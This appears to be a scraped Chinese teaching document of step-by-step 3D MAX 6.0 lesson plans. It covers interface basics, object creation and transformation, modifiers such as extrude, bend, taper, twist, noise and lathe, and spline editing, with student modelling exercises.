3D MAX6.0教案

2024-09-14 版权声明 我要投稿

3D MAX6.0教案(共11篇)

3D MAX6.0教案 篇1

学习目的:操作电脑,学习技能,培养刻苦钻研的精神,提高综合应用能力。

准备工作:在D:My Documents里新建一个文件夹,名称改为自己的名字,在自己的文件夹里新建一个“My 3D”文件夹,每次保存都在这个文件夹里。

操作步骤:

1、启动:双击桌面图标,或在开始菜单中找到“discreet”-“3d max”-“3d max”;

2、在窗口中作图和修改;

3、作图:选择工具、选择视图、点-拖-移-单击确定。

窗口介绍:

1、菜单:“文件”菜单中的“重设、保存、另存为、打开”命令;

2、工具栏:“选择”、“移动”、“旋转”、“快速渲染”按钮;

3、工作区:四个视图,三个平面和一个透视图;

4、命令面板:“创建”、“修改”...等面板。

创作基础:

1、立体图:长方体、球体、圆柱体、锥体等一般有厚度;

2、平面图:点、线、矩形(长方形)、圆形等一般较单薄;

3、视图、位置和方向

1)视图是指从一定的方向来看物体,从左边看就是左视图,从前面看就是前视图,从顶上看就是顶视图,依此类推,这里的前后左右是以观察者的方向来定的,也可以理解为,将物体和观察者重叠后,在观察者左边,前边、顶上,所看到物体的面呈现的图像。

2)位置是指物体的摆放情况,由于地球有地平面,物体一般也有一个底面,这个面挨着地面,像瓶底、锅底什么的是物体的下面,跟它相反的是顶上的盖,瓶盖、锅盖之类这是物体的上面,摆放物体一般是头朝上、底朝下,但是有时候也可能底朝上,我们就说放反了,或者说物体倒了,这时候物体的底面已经不在下面,而是在左面或者上面了。3)作图时要注意观察物体底面的位置,因为作图首先绘制物体的底面,然后再绘制高度,底面放在顶视图中物体是直立的,如果放在左视图中,物体将是横卧着,放在前视图中,物体将是直躺着。

练习:

1)记住窗口的各部位名称,和各个单命令; 2)画三个圆柱体在三个不同的视图中;

3)画一个红色的正着的茶壶、一个黄色的横着的,一个蓝色直躺着; 4)画一个球体上面放一个茶壶;

5)以“茶壶”为文件名,保存文件到自己的文件夹。

本节学习了3D Max的界面和作图的位置以及方位,注意观察常见物体的各个面和摆放位置,完成练习后请继续学习下一课。

二、创建和排列物体

(一)创建物体

1、选择工具-选择视图-拖-松-移-点击,先画底面,然后是高度;

2、物体的位置取决于底面所在的位置,在顶视图是直立的,在前视图是直躺着的,在左视图是横卧着的;

3、观察和分析物体的组成: 1)长方体:由长方形构成,有长、宽和高组成; 2)球体:由圆构成,有半径大小;

3)圆柱:由底面的圆,和高度的长方形构成。

(二)修改物体

1、改变物体的大小、颜色和形状;

2、单击“修改”标签,进入修改面板;

3、可以修改名称、颜色和参数值;

4、名称起一个有意义的名称,可以望文生义;

5、颜色单击颜色块,在颜料盒中选一个,也可以单击“增加自定义颜色”自己配色。

6、修改参数,可以直接输入,也可以单击旁边的增减按钮,一般直接输入,注意所以输入完成后按一下回车键确定。

7、分段数是一个物体是由几部分组成的,如果一段就是整个一块,无法弯曲,一个圆有32段时就很圆滑了。

8、试着将一个长方体的长宽高都改成60,分段都是4段。

(三)移动物体:

1、先在工具栏上选择移动工具-选择物体-选择移动坐标轴-顺方向拖动鼠标。

2、看工具栏图标的形状可以判断它的作用,选择工具都带有一个箭头,单独黑箭头只能选择,十字形双箭头还可以移动,圆圈箭头还可以旋转

3、当选择工具移动到物体上可以选择时,光标将变成一个白色的粗十字,变成十字双箭头时可以移动物体,选中的物体颜色变成亮黄色,如果是移动工具,移动方向的坐标轴也会变成亮黄色;

4、每个坐标轴都有方向,顺着箭头移动,值越来越大,越来越远了,跟数轴差不多,通过它可以判断两个物体之间的前后或上下的次序。

5、移动方向,在前视图中可以上下、左右移动物体,这时顺X轴是左右移,顺Y轴是上下移(平面图只有两个轴),在顶视图可以左右、前后移动物体,X轴是左右,Y轴是前后,在左视图中可以前后和上下移动物体,X轴是前后移、Y轴是上下移;

6、注意不要在透视图中移动,它一般只是用来检查的,先想好物体的当前位置以及需要移动的新位置之间的前后左右关系,然后选择一个合适的视图进行移动,边移动边在透视图中观察。

7、切换视图以后,坐标轴会发生改变,不管怎么变化,记住每一个视图可以移动其他两个方向,不能自身移动,例如左视图可以上下、前后移动,而不能左右移动,学会看懂透视图中变亮的坐标轴来确定移动后的位置;

8、在移动中单击右键可以取消移动,在另一个视图单击一次右键还可以选择视图。

练习:

1、画三个圆柱,半径为

10、高度为60,排成一横排,分别为:

名称

左 中 右 名称 前 中 后

颜色 红 黄 蓝 颜色 蓝 黄 红

位置 左边 中间 右边 位置 前面 中间 后面

2、画三个圆柱,半径为

10、高度为60,排成一列,分别为:

3、画一个圆桌子和一个圆凳子;

4、以“桌凳”为文件名,保存文件到自己的文件夹。

本节学习了3D Max创建物体和移动物体,注意观察常见物体的位置和运动方向,完成练习后请继续学习下一课。

三、创建物体和视图技巧

(一)用参数创建物体 在创建面板上选择一种物体类型后,下面的卷展栏中会出现一个“键盘输入”项,单击左边的“+”号展开卷展栏,输入数值后单击“创建”按钮,即可创建物体,同时还可以调节下方的参数项目。

我们以创建长方体为例来学习如何使用键盘创建物体:

1、在创建命令面板上选择“长方体”按钮;

2、展开“键盘输入”:单击“+”号(再单击一次又会折叠起来);

3、确定底面中心位置:中心位置(0,0,0)即十字中心;

4、输入参数:长50、宽50、高2

5、选择视图:顶视图,在“顶”上单击左键,或者右键在顶视图里单击一下。

6、单击“创建”按钮,观察视图的变化;

7、修改名称为“地板砖”,颜色为淡蓝色。

(二)复制拷贝

拷贝物体是创建物体的复制品,物体的名称后面自动添加序号,每次可以拷贝一个也可以一次拷贝多个物体。

我们以复制地板砖为例来看一下如何拷贝物体:

1、选择移动工具;

2、选中刚才制好的地板砖,再将鼠标移到一个坐标轴上变亮黄;

3、按住Shift键不松手,用鼠标拖动物体顺坐标轴方向移动一段距离;

4、松开鼠标,再松开Shift键,此时弹出一个复制对话框;

5、单击“确定”即可拷贝出一个复制品来。

(三)群组

群组是将多个物体组合在一起,以便于同时选择和移动,我们以一个例子来说明:

1、选中多个物体,可以用框选的方法,将所有物体框住选中,也可以按住Ctrl键不松手,逐个单击要选择的物体;

2、单击“组”菜单,选择“组”命令,在弹出的对话框中输入一个名称,物体就组合起来了;

3、试着把两块地板砖群组成一块地板,移动一下改一下颜色。

(四)视图旋转 在视图控制区第二排有一个圆圈形的旋转工具,可以转动视图,这样我们就可以从不同侧面观察物体,抓手工具可以左右或者上下移动视图,从而腾出一些空间来放其他物体,在旋转和移动中随时都可以按右键取消改变。

练习:

创建一个院子,有四面墙和地板,要求如下:

1、地板由四块地板砖拼合群组而成,颜色不同;

2、前墙做好后复制一份当后墙;

3、左墙做好后复制一份当右墙;

5、对齐后旋转一下透视图检查一下;

6、注意各面墙的名称和颜色,恰当使用单一视图工具;

7、以“四合院”为文件名,保存文件到自己的文件夹;

8、渲染出作品来。

本节学习了创建和复制组合物体,培养组合集体意识,以及对齐物体的练习,如果你成功地完成练习,请进入下一课学习。

四、扩展物体和视图控制

(一)创建扩展物体

扩展物体比基本物体有更多的变化和造型,设置不同的参数能够表现更多的变化,从而丰富我们的创作,方法如下:

1、在创建面板上单击“标准几何体”旁边的下拉按钮,在弹出的列表中选择“扩展几何体”;

2、在面板中出现多种物体按钮;

3、创建方法跟基本物体类似,也是选择物体、视图、拖、移、点、再移、再点,要多移一次;

4、多面体可以制作宝石,可以选择四面体、八面体、十二面体以及星星等;

5、倒角长方体和圆柱体可以用来制作糖块、桌面等边缘光滑的物体;

6、油箱、胶囊体和纺锤体可以制作出一些类似的物体;

7、环形波可以制作转动的机械齿轮动画;

(二)视图控制

1、显示和隐藏 有时候物体之间会相互干扰,这时候就需要暂时隐藏某个物体,方法是选中物体后单击右键,选择“隐藏已选择的”,物体即被隐藏,需要显示时在单击右键选择“取消全部隐藏”;

2、全屏显示 在观察物体的边缘和细节时,需要放大视图,单击视图控制区右下角的“单一/多个”视图可以切换全屏显示;

3、局部放大 当需要观察一个角或几个点时,可以用视图控制区的第二排第一个放大镜“缩放”工具画框来放大局部;

4、全部显示 当物体太多以至于有些不能显示时,使用视图控制区第一排的方块形的“全部显示”来自动调整视图适应物体,旁边的是同时也调整其他视图;

5、用视图工具调整时,随时可以按右键取消变换,如果已经改变,那就要到“视图”菜单中选择“撤销视图改变”。

练习:

制作一个喝茶的场景:

1、地板用倒角长方体来制作,要足够大,倒角为高度的十分之一;

2、桌子用倒角圆柱体来制作,桌面半径120、高

15、倒角1.5、边数32;

3、桌面放一个茶壶,罐子用圆管作、茶杯用圆锥(两个半径,上大下小)制作;

4、背景色在“渲染”菜单里的“环境”中的“背景颜色”找一个灰黄色;

5、以“来喝茶”为文件名,保存文件到自己的文件夹。

本节学习了扩展物体的创建方法以及如何有效地使用视图控制工具,如果你成功地完成练习,请进入下一课学习。

五、旋转和缩放工具

(一)、旋转工具

旋转是指物体绕着一条坐标轴或者自身中心转动,从而产生倾斜、角度变化,给人以动态和相交的感觉,工具使用方法如下:

1、选择工具 在工具栏上找到一个圆弧箭头;

2、选择物体 当指针变成白十字时,单击一下选中物体,注意不要移动;

3、选择坐标轴 将旋转指针移向一个坐标轴单击一下,使它变亮变黄;

4、旋转 按住鼠标左键,向上(或向下)拖动鼠标,物体即开始绕选定的轴转动;

5、检查 在旋转过程中注意观察透视图,到达合适角度即可松开鼠标完成旋转;

6、精确旋转 如果知道旋转的角度,在旋转中注意观察状态栏中的坐标轴,里面会有变化的数字,达到后即可松手,更简便的方法后面会学到(在工具上单击右键输入数值);

7、在旋转中可以随时按右键取消旋转,如果已经完成,那么就只能到“编辑”菜单中找“撤销...”命令,快捷键是Ctrl+Z。

8、物体旋转时是绕着底面的重心来旋转的,这个旋转中心可以调整到物体的中心,以便产生自转的效果,方法以后会学到;

9、练习一下作一个等边三角形,三条边可以复制出来,角度是60°;

(二)缩放工具

缩放工具可以改变物体的外形,使一个物体变得不标准,使用方法如下:

1、选择工具 在工具栏上找到一个嵌套方框的图标;

2、注意图标的右下角有一个黑按钮,按住图标不松手就可以出现下拉列表;

3、三个图标依次是等比例缩放、不等比例缩放、挤压,需要时拖到位置变亮松手即可选中,这是会有一个警告对话框,提示将破坏物体的形状单击“是”;

4、然后选择物体、坐标轴、向上拖动鼠标即可在透视图中观察物体的变形。

5、练习一下,作一个鸡蛋如右图所示:

6、再试着做一个坦克:

履带用倒角圆柱缩放而成,驾驶舱用倒角长方体,炮筒用倒角圆柱体,齿轮用环形波。

练习:

用倒角圆柱(半径为

3、长50左右)当作笔画,写出自己的名字。1)使用键盘创建的方法,创建笔画,注意不同笔画的视图不同; 2)用旋转工具调整笔画的角度;

3)以“姓名”为文件名,保存文件到自己的文件夹。

本节学习了旋转和缩放工具的使用方法,如果成功完成了各个练习,请进入下一课学习。

3D Max 动画基础

六、综合练习 我们已经学会了认识3D Max的窗口,如何在视图中创建基本物体,对物体重命名改变颜色,以及选择、移动、旋转、缩放物体,我们还学习了隐藏和显示物体,在不同视图之间切换,调整视图的大小,以及渲染出最终的作品等许多的知识;

这一节我们来进行一次综合性的练习,我们将对前面所学的知识进行综合演练,在下面的制作中要充分应用所有学过的技能;

在这个练习中要制作出一个小男孩和小女孩:

1)用球体作脑袋,圆锥体作帽子,嘴巴用圆环,注意男孩的嘴巴的圆环只有半个,在圆环的修改面板中有一个“切片”选项,打上勾以后可 以切片,在“切片开始”的按钮按下面的,出来的是负数,而“切片结束”按上面的按钮,是一个正数,一直按住同时观察透视图中的切口形 成一个圆嘴即可; 2)移动之前一定要想好方向,同时在其他视图中检查是否对齐、对好; 3)为了防止错误的移动,选中物体后单击状态栏上的小锁子,变亮后就可以锁定选择,避免错误地移动其他物体,但是在选择其他物体之前要先解锁,再单击一下小锁恢复原样,就可以选其他物体了;

4)做好的物体使用群组命令组合在一起,要重新修改执行“解散组”命令即可;

5)一步一步的操作,经常保存,发现错误用撤销命令(Ctrl+Z); 6)多动脑、多问、多想、多试找出其中的规律来。

本节进行了综合性练习,如果你能够顺利过关,我们将进入3D动画学习的第二阶段——利用编辑器来创建物体模型。

七、创建立体文字

我们常常可以在建筑物的顶端或者商场大门上,看到一些醒目的镂刻大字,跟平常写字不同的是,这些字并没写在纸上或牌子上,是独立的文字,这就是立体字; 在3D中是如何创建立体字呢?创建方法是先绘制出平面文字,然后给它增加厚度,从而创建一个立体字,下面通过一个例子来学习:

1、创建平面文字

1)选择文本工具,单击创建面板的第二个按钮(注意是按钮,不是标签),面板变成“图形”面板,上面有线、圆、矩形、等等,都是一些平面图形,由于平面图形过于单薄,因此在渲染时是不可见的;

2)选择“文本”工具,这是面板下方出现卷展栏,向上拖动露出“参数”文本编辑区,跟常见的文本编辑器类似,选择字体为“华文行揩”,字号为25,把文本框里的字删掉,输入“美丽的校园”;

3)选择前视图,在十字中心单击一下鼠标左键,这时文字就出现在视图中,我们发现文字是空的,对透视图渲染一下,里面什么也没有,该怎么办呢?

2、施加“拉伸”编辑器

1)检查文字选中,单击“修改”标签进入修改面板;

2)在“编辑集列表”旁边的按钮上单击一下,会弹出一个列表,里面有许许多多的编辑工具,一下一下单击列表旁边的滚动条,找到“拉伸”工具,单击选中它,拉伸工具就出现在下面的文字的上面,左边有一个小灯泡,卷展栏中也变成拉伸的参数,在“数量”中输入5,即拉伸5个单位;

3)观察这时的文字已经不再透明,而是实心的了,对透视图渲染,这时我们就得到一个立体“美丽的校园”; 4)保存文件到自己的文件夹。

练习:

创建三个立体文字,“八十六团学校”、自己的班级、自己的姓名,排列成三角“品”字形。本节学习了立体文字的创建,从这一节开始,我们将逐步学习编辑器的使用,记住我们学过的每一个编辑器以及它们的参数设置,如果你成功完成了练习,请进入下一课学习。

八、编辑器之弯曲工具

编辑器是用于对基本物体进行修改和变形的工具,通过编辑器可以创建出复杂多变的物体造型。

上一课我们已经学习了“拉伸”编辑器,这一节我们通过一个牛角的动画来学习一下“弯曲”编辑工具的使用方法。

1、创建基本物体 选择“锥体”在顶视图创建一个圆锥,参数为“半径1”30、“半径2”0.0、“高度”130,我们可以用键盘输入的方法创建;

2、单击“修改”标签进入修改面板,将锥体的“高度分段数”设为10,“边数”设为32;

3、施加编辑器 单击“编辑集列表”找到“弯曲”工具,单击选中,在卷展栏的参数“角度”中输入15,表示弯曲15°,数字越大就越弯曲,弯曲方向默认Z坐标轴,保存文件到自己的文件夹;

4、创建动画 动画的原理是变化和移动,即物体跟原来不一样了,在3D中采用关键帧方法,即以前是一帧,后来又是另一帧,这两帧就是关键帧,两帧直接的变化帧叫过渡帧,电脑可以自动产生,我们要做的就是创建出关键帧; 1)单击状态栏上的“动画”按钮,此时按钮和视图变成红色,所有操作将记入动画当中;

2)用鼠标拖动时间轴上的指针,一直到最右端的100,这样就有了两个关键帧,是第0帧和第100帧;

3)创建第100关键帧 检查牛角处于选中状态,在修改面板中的参数“角度”中的15改为75,这样从15到75牛角的弯曲发生了变化,就可以形成一个动画;

4)再一次单击状态栏上的“动画按钮”,关闭动画制作,我们看到第0帧和第100帧是红色的,表示是关键帧,保存一下文件;

5)播放动画 选中透视图,再单击状态栏上的一个小三角形的“播放”按钮,在透视图中可以看到一个逐渐弯曲的牛角的动画。

本节学习了编辑器的弯曲工具的使用方法,以及动画制作的简单操作,如果你成功地完成了练习,请进入下一课学习。

九、编辑器之锥化工具

锥化工具使物体产生一头大一头小的形状,例如水桶、水杯、生长的树干等等,许多形体创建中都会用到,下面我们通过一个例子来学习“锥化”工具的使用方法。

创建一个麦克风的造型如图所示:

麦克风由话筒、手柄以及中间的联接部分组成,分别创建好后再组装起来;

1、创建话筒

1)选择倒角圆柱体,参数设定为:半径

38、高度90、倒角15,选择顶视图,用键盘输入的方法,创建一个倒角圆柱体,进入修改面板,将“高度段数”改为10,将“倒角段数”改为3,“边数”改为24,让它圆滑一些;

2)在“编辑集列表”中找到“锥化”工具,单击选中,将数量设为“-0.2”负数是上小下大形状;

3)将名称改为“话筒”颜色设为绿色,以“麦克风”为文件名,保存文件到自己的文件夹;

2、创建手柄 1)选择倒角圆柱体,参数设定为:半径20、高度200、倒角为8,选择顶视图创建一个倒角圆柱体,进入修改面板,将“高度段数”设为20,将“倒角段数”设为3,将“边数”改为24;

2)在“编辑集列表”中找到“锥化”工具,单击选中,将数量设为0.2,即上大下小形状;

3)将名称改为“手柄”颜色设为银灰色,保存一下文件;

3、创建联接

1)选择锥体工具,锥体有两个半径,半径1应该跟话筒的一样,而半径2应该跟手柄一样,这样才能把它们连接起来;

2)锥体的参数为:半径1设为24,半径2设为38,高度33;

3)进入修改面板,将“边数”改为24,修改名称为“联接”,颜色为面板左上角的黑灰色;

4、组装各个部件

1)由于我们都是采用键盘输入的方法创建,因而三个元件的中心都在一条竖线上,我们只要调整他们的上下关系即可;

2)选择前视图,由于手柄和联接的颜色接近背景色,不容易观察,因此需要调整视图,在“前”上单击鼠标右键,选择第一个“光滑+高光”命令,前视图里的物体变成实心高亮度,复原的方法是再敲右键选择“线框”即可,单击视图控制区的右下角的“最大化”按钮,将视图切换为全屏;

3)选中“联接”组件,选择Y轴变亮黄,向上移动使其刚好装在手柄上,再选择“话筒”同样将其装在“联接”上,这样麦克风的形状已经出来了,但还需要精细调节和修饰;

4)选择“倒角圆柱体”,参数设为半径38.5、高度10,倒角为1,在顶视图创建一个倒角圆柱体,将颜色设为黑色,在前视图将它套在话筒和联接的接头处;

5)同样在创建一个半径为25的倒角圆柱体,颜色设为灰色,套在联接和手柄接头处;

6)仔细调整好各个部件,全部选中后群组一下,用旋转工具使它向左倾斜一定的角度,保存一下文件; 7)对透视图渲染,观看一下自己的作品,很不错吧?

本节学习了锥化工具的使用方法,强化了键盘输入的方法,如果你成功地完成了练习,请继续学习下一课。

十、编辑器之扭转工具

扭转工具可以让物体产生拧麻花、绳索等螺旋形状,我们通过一个制作冰淇(qi)淋例子来学习扭转工具的使用方法;

冰淇淋由雪糕和纸杯两部分组成,分别制作好后再组合到一起;

1、制作雪糕

1)选择创建面板中的“图形”按钮,进入平面造型面板;

2)选择“星形”,键盘输入设为半径1为90、半径2为70、倒角半径1为16,在顶视图创建一个六角星;

3)进入修改面板,将名称改为“雪糕”,颜色调为左边的黄色; 4)打开编辑器列表,找到“拉伸”工具,单击选中,对六角星拉伸; 5)修改拉伸工具的参数,“数量”改为120,段数设为20,创建一个柱子; 6)再打开编辑器列表,找到“扭转”工具,对柱子进行扭转;

7)设置扭转参数,将“角度”设为180,即拧180度,“偏移”设为30,即螺旋向上集中,这时就形成了一个螺纹; 8)再打开编辑器列表,找到“锥化”工具,让螺纹产生一个尖顶; 9)修改锥化参数,将数量设为-1(负数是上小下大,尖在上面),曲率设为1,让尖弯曲得较圆滑,这时我们就得到一个冰淇淋造型; 10)以“冰淇淋”为文件名,保存文件到自己的文件夹;

1)选择顶视图,选择圆管工具,键盘输入设为内部半径为60,外部半径为70,高度为70,边数为32,杯子好像有一点小了?

2)进入修改面板,将名称改为“杯子”,颜色改为蓝灰色;

3)打开编辑器列表,选择“锥化”工具,将数量设为0.32,曲率设为0.1,调整一下雪糕的位置,让雪糕装到杯子里;

4)保存一下文件,对透视图渲染,看一下效果,挺不错的就是杯子差点,缺一个边儿;

5)选择前视图,选择“倒角圆柱体”,键盘输入设为半径95、高度10,倒角1;

6)进入修改面板,将名称改为“圆边”,颜色改为蓝灰色,将边数改为50圆滑一些;

7)在前视图将圆边移到杯子边上对好,保存一下文件,对透视图渲染,这时候一杯甜香的冰淇淋就做好了。

本节学习了扭转工具的使用方法,并回顾了拉伸和锥化工具,如果你成功地完成了练习,请继续学习下一课。

十一、编辑器之噪波工具

噪波工具使物体产生杂乱无章的外形,就像噪声一样没有规律,可以用来生成凸凹不平的自然地形地貌,如高山和星球等等。

我们通过创建一个小行星着陆的场景来学习噪波工具的使用:

1、创建小行星

1)选择几何球体,半径设为50,在顶视图创建一个球体;

2)进入修改面板,将名称改为“小行星”颜色设为蓝灰色,分段数为32; 3)在“编辑集列表”中找到“噪波”工具,单击选中;

4)修改噪波工具的参数,将“比例”改为25,也就是波的大小比例为25,数值越小产生的波就越细越密,越大就越宽,如果是100则看不到波了; 5)看一下视图,球体并没有发生变化,为什么呢?还要给波施加强度,向上推卷展栏,在“强度”中逐个将X、Y、Z三个方向的强度设为25,这时物体就在横向、纵向、和直的方向上被扭曲,强度越大,扭曲也越严重;

6)这时物体已经比较像星球了,就是还有些粗糙,再次单击“编辑集列表”选择噪波工具,将“种子”设为1,种子是噪波的随机起始点,换一个种子,产生的凹凸也不同,将“比例”和各个强度都设为5,对球体的细节进行处理,通过两次噪波,一颗小行星就出现了;

7)以“星际着陆”为文件名,保存文件到自己的文件夹;

2、创建地面

1)选择长方体,将长、宽都设为500,高设为-10,负数将在地平面以下,在顶视图创建一个长方体;

2)进入修改面板,把名称改为“地面”,颜色为橙黄色,把长宽分段数设为120,高度分段数设为1;

3)在“编辑集列表”中找到“噪波”工具,单击选中;

4)在卷展栏中将“比例”改为30,产生较大的凸起波,强度中将Z方向调为20,X和Y不变,地面上的地形一般是上下起伏;

5)再次施加一个“噪波”修改地形的细节,将比例、强度里的X和Y都调为5,这样地形就更富于变化;

3、调整位置

1)进入前视图,将小行星的位置向上移动,离开地面一段距离;

2)进入顶视图,将小行星向上移到地面的上方偏右一点,使小行星看起来离得比较远;

3)进入透视图,选择视图控制区的放大镜视图“缩放”工具使地面充满视图,再仔细调整一下小行星的位置;

4)保存一下文件,对透视图进行渲染,观看一下太空着陆的景象。本节学习了噪波工具的使用方法,注意理解各个参数的含义和用法,如果你成功地完成了练习,我们第二阶段的学习顺利结束,下一课我们将进入第三阶段的学习。

十二、编辑器之旋转工具

从这一节开始我们将学习利用二维平面造型来创建三维物体,在3D Max中,物体是由各个面组成的,每个面就是一个二维图形,面是由小三角形拼出来的,每个三角形由线围成的,而线是由点组成,一条线至少有两个点,一个面至少有一个三角形,面和面之间有的是相互独立的,比如一个长方体上下的面互不干扰,而相邻的面就是联系在一起的了,改变一个另一个也会受影响。

有了上面的基础,我们在创建物体时,就可以对物体进行不同层次的修改,例如去掉一个点,加一个面等等,我们通过一个制作苹果的例子来学习:

苹果是一个椭圆形的球体,中间有一条中轴,因此可以用绕中轴旋转的方法来创建;

1、创建苹果的剖面

1)选择圆形工具,在前视图绘制一个圆,这是一个二维平面图形; 2)进入修改面板,在“编辑集列表”下面的堆栈中选择“圆形”,单击鼠标右键,选择转换为:下面的“可编辑曲线”,这样就可以进入圆形的子代级别; 3)在堆栈中的“Editable Spline”旁边的“+"号上单击一下,展开折叠,可以看到圆形的三个子代级别,依次是顶点、线段、曲线,合在一起就是一个圆形;

4)在“顶点”上单击一下使它变亮变黄,这时我们就进入圆形的点这一级别,可以选择圆上的点了;

5)看一下视图,圆是由几个点确定的呢?是四个,一个白色的小十字就表示一个点,外面套了个方框的是起点,试着在圆上点一下,可以发现这时选中的是圆上的点了,选中以后是红色,我们知道红色是警告颜色;

6)选中最左边的点,然后按“Delete”键删掉它,这时圆形就变成了半圆; 7)在修改面板的堆栈中选择“线段”,然后到前视图中选择左边那条线段,变红后单击鼠标右键,在弹出的菜单中选择“线”命令,将曲线转为直线,这时得到半个圆;

8)苹果的上面大下面小,还要调整一下,在堆栈中选择“顶点”选择右边的点选择Y方向,向上移动一点,这样上面就宽一些;

9)在选择上面的点,将绿色的控制手柄向下拖一点,选择下面的点的绿色手柄,向上移一点,这时我们就得到一个苹果的剖面,再在堆栈里的“顶点”上单击一下关闭子物体模式,回到曲线状态,在卷展栏的“插补间距”中将“步数”改为32,使曲线平滑;

10)以“苹果”为文件名,保存文件到自己的文件夹;

2、创建苹果 1)在“编辑集列表”中找到“旋转”工具,单击选中,曲线立刻变成了一个苹果,在卷展栏中将“段数”改为32使表面平滑;

2)单击堆栈中的“旋转”旁边的加号,选择“轴”变黄,在前视图中沿横向移一下轴,调整苹果的大小,合适后再回到堆栈中关闭子物体让轴变灰; 3)保存一下文件;

3、创建果柄

1)选择圆柱体,在顶视图中苹果的中心创建一个小圆柱体,在前视图中把它安放在上面的窝里;

2)再给圆柱体施加“锥化”工具,“数量”设为0.5左右,曲率为“-2”,上面大下面小;

3)再给圆柱体施加“弯曲”工具,“角度”为30,圆柱变弯曲了,这时就得到一个果柄的造型;

4)调整好位置和颜色,保存一下文件,对透视图进行渲染,看一下自己的苹果,还不错吧?

本节学习了旋转工具以及子物体编辑方法,如果你成功地完成了练习,请进入下一课学习。

十三、样条曲线

自然界中常见的物体大都是不规则的,因而需要手工绘制然后再通过编辑器修改创建,在3D Max中线条被称为“样条”,可以是直线、光滑曲线和贝赛儿曲线,贝赛儿曲线带绿色的控制手柄,可以调整曲率,我们知道线是由点构成的,点有三种类型,角点、光滑、贝赛儿,不同的类型创建出不同的曲线,我们通过一个制作火炮的例子来学习样条曲线的创建。

1、创建样条

1)在图形创建面板上选择“线”,选择前视图;

2)单击鼠标创建一个顶点(只有单击才会创建点),松开移动鼠标到右上边一段距离,再次单击创建第二个点,再移动单击创建第三个点,然后单击鼠标右键,结束画线,这时就得到一条有三个点的折线,进入修改面板,在堆栈中展开折叠,选择“顶点”,再在点上单击右键观察,这三个点都是角点,再次单击“顶点”关闭子物体;

3)重新选择“线”工具,这次绘制曲线,在前视图单击鼠标后不要松开,拖动鼠标向斜上方一点距离再松开,移动鼠标,就会产生一条曲线,移动一段距离后,再次单击鼠标然后不松手,向斜下方拖动一点距离在松开,再移动一段距离后单击确定,再单击右键结束画线。这次得到的是三个点的曲线,进入修改面板,选择“顶点”,分别在点上单击右键,可以看到中间的点是贝赛儿点,有两个绿色手柄,可以调节曲线的曲率,再次单击“顶点”关闭子物体;

4)画好的线能不能修改呢?当然可以,选择第一条线,进入“顶点”级别,选择中间的点,单击鼠标右键,在弹出的菜单上选择“贝赛儿”,拖动一下手柄,这时折线就变成了曲线(注意移动手柄要先在方向轴上单击选定方向),再单击一下“顶点”关闭子物体;

5)选中所有线条,按“Delete”键删除练习的样条,下面开始作火炮;

2、制作炮筒

1)选择“线”工具,在前视图绘制一个炮筒的剖面,如图所示,最后终点和起点重合时会弹出一个“封闭”对话框,单击“是”确定,进入顶点,仔细调整一下各个点(记住要关闭子物体,否则无法进行其他操作); 2)进入修改面板,给曲线施加“旋转工具”;

3)转的好像不大对劲,可能是方向转错了,在修改面板“方向”中选择X,让它按X轴旋转;

4)炮筒太细了,这样炮弹可能出不去,在“旋转”旁边的加号上单击,选择“轴”,在前视图中上下移动一下调整好(记住要关闭子物体);

5)以“火炮”为文件名,保存文件到自己的文件夹;

3、制作炮台

1)先在炮筒上单击右键选择“隐藏已选择的”,(以后再选择“取消所有隐藏”);

2)在左视图中绘制炮台的剖面,如图所示;

3)修改台面的平滑,将炮台中间的一个点类型改为“平滑”,最底下两个点不变,其余三个点改为“贝赛儿角点”;

4)将前视图调为全屏,仔细调整各个手柄使剖面平滑;

5)退出顶点,对样条施加“拉伸”工具,修改数量创建一个炮台底座; 6)“取消所有隐藏”,显示火炮,在顶视图安装火炮到底座,在前视图调整炮筒;

7)选择旋转工具,将炮口升起,调整好颜色,修改一下拉伸的段数和曲线的插补间距让边缘平滑,保存一下文件;

8)对透视图渲染,观看一下自己的作品,要有一种威武雄壮的气势;

本节学习了样条曲线的创建和修改方法,如果你成功地完成了练习,请继续学习下一课。

十四、几何运算 当几个物体相互重叠或者交叉时,我们只需要保留其中的一部分,在3D Max中这种操作被称为几何运算,包括连接、相减、相交、布尔合并等,连接就是把第二个物体接在第一个物体上形成一个整体,相减是第一个物体上减去第二个物体部分,相交就是只要两个物体重叠的部分,下面我们通过一个吹泡器的例子来学习;

1、创建多个图形

1)选择矩形工具,在前视图创建一个矩形,再在矩形中创建一个圆形,在圆形中在创建一个星形,这时有三个平面图形;

2)选择矩形,我们要把另外两个图形连到矩形上,进入修改面板,在堆栈中选择“矩形”,单击右键,选择转换为“可编辑曲线”,把矩形分解打散; 3)在卷展栏中找到“几何运算”,单击按下“连接”按钮,进行连接运算;

4)将鼠标指针移到前视图,依次单击选择圆形和星形,单击后物体就变亮,加入到矩形当中,这就是连接运算;

5)再次单击“连接”按钮,关闭运算,对图形施加“拉伸”编辑器,数量设为15,一个窗户的物体即产生了;

6)对于三维立体物体之间的运算,是通过创建“复合物体”来完成,我们以后将会学习到;

2、制作剖面图

1)重置视图,选择圆形工具,在前视图中央绘制一个圆,再在它上面绘制两个小圆,三个圆相交如图所示:

2)选中大圆,进入修改面板,在堆栈中选择“圆形”单击右键,选择“可编辑曲线”,将大圆分解;

3)在卷展栏中找到“几何运算”,按下“连接”按钮;

4)依次单击连接两个小圆,组成一个整体,再单击连接关闭它,以“吹泡器”为文件名,保存文件到自己的文件夹;

5)单击堆栈中的加号,进入样条的“曲线”级别,选择大圆(注意现在是在子物体状态);

6)在卷展栏中找到“布尔运算”单击按下按钮,再依次单击两个小圆,这时就可以看到,三个圆进行了“合并”运算去掉了重复,再次单击“布尔运算”按钮关闭运算;

7)再选择上面的“偏移”运算,在旁边的数量中输入10,按回车确定,这时单线就变成了双线,再次单击偏移按钮关闭运算;

8)这时已经有了基本形状,单击“曲线”退出子物体状态,保存一下文件,接下来绘制手柄;

3、创建手柄

1)选择矩形工具,在前视图绘制一个细长的矩形,顶部与大圆的外边线相交,一会儿要与大圆合并; 2)选中吹泡器,按下“连接”按钮,再单击矩形,将矩形连接进来,关闭连接运算;

3)进入“曲线”级别,选择大圆,按下“布尔运算”按钮准备实施合并,再单击矩形,将重复部分合并去掉,这时一个吹泡器的剖面就作好了,关闭布尔运算,退出子物体级别,保存一下文件;

4)对剖面施加“拉伸”编辑器,设置数量为15,调整一下颜色,对透视图进行渲染,看一下自己制作的吹泡器,很精致吧?

3D MAX6.0教案 篇2

